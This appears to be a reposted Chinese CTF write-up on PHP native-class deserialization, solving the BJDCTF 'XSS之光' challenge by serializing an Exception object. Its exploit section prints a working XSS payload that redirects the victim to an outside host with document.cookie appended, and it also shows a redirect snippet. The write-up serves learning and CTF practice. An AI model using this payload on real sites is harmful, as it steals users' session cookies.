zoukankan      html  css  js  c++  java
  • PHP原生类反序列化

        在做BJDCTF中的题目XSS之光的时候遇到了PHP原生类的反序列化,以前没有了解过,现在来学习一波。

     基础知识

    首先还是来回顾一下序列化中的魔术方法,下面也将以此进行分类来进行研究。

    当对象被创建的时候调用:__construct
    当对象被销毁的时候调用:__destruct
    当对象被当作一个字符串使用时候调用(不仅仅是echo的时候,比如file_exists()判断也会触发):__toString
    序列化对象之前就调用此方法(其返回需要是一个数组):__sleep
    反序列化恢复对象之前就调用此方法:__wakeup
    当调用对象中不存在的方法会自动调用此方法:__call
    

    看一下当前php本身内置类有:

     <?php
    $classes = get_declared_classes();
    foreach ($classes as $class) {
        $methods = get_class_methods($class);
        foreach ($methods as $method) {
            if (in_array($method, array(
                '__destruct',
                '__toString',
                '__wakeup',
                '__call',
                '__callStatic',
                '__get',
                '__set',
                '__isset',
                '__unset',
                '__invoke',
                '__set_state'
            ))) {
                print $class . '::' . $method . "
    ";
            }
        }
    } 
    

    当然有些类不一定能够进行反序列化,php中使用了zend_class_unserialize_deny来禁止一些类的反序列化,比如序列化DirectoryIterator的时候。

    回到本题,本题存在git源码泄露,用GitHack下载源码后只有简单的两行。

    这里要利用魔法方法 __toString来实现xss,而__toString中Error 和 Exception类 会造成XSS  但是Error只适于php7下造成xss,Exception php5和php7都适用

    用burp抓包发现是php5.6的,因此是Exception。

    于是先用下面的exp看看有没有弹窗。

    exp:

    <?php
    $a = unserialize($_GET['lemon']);
    echo $a;

    然后本题的exp:

    <?php
    $a = new Exception("<script>window.location.href='http://d6660a8d-a82f-4db8-a56a-4999a0d28bb3.node3.buuoj.cn/'+document.cookie</script>");
    echo urlencode(serialize($a));

     flag就在cookie和url上面

    在这里学下xss相关知识:

    #实现恶意跳转
    <script>window.location.href="http://www.baidu.com";</script>

    参考博客:

    https://blog.csdn.net/qq_43431158/article/details/105135969?%3E

    http://blog.ydspoplar.top/2020/03/17/php%E5%8F%AF%E5%88%A9%E7%94%A8%E7%9A%84%E5%8E%9F%E7%94%9F%E7%B1%BB/

    感谢大佬!!!菜鸡受教了    

    你的实力支撑不起的野心时,你就要静下心来并且放低姿态的好好去学习,一切都还未晚。
  • 相关阅读:
    [声明]博主退役了
    galgame(s?)
    atcoder grand contest 040 F Two Pieces
    AtCoder Grand Contest 040 E
    【AtCoder】CODE FESTIVAL 2016 qual C E-順列辞書 / Encyclopedia of Permutations
    GMOJ6282 向量
    [GMOJ6281] 串
    GMOJ 5909 跑商
    2019.10.28 GMOJ 6394 燃烧的火焰
    题解 CF1092B 【Teams Forming】
  • 原文地址:https://www.cnblogs.com/4sh3s/p/12623979.html
Copyright © 2011-2022 走看看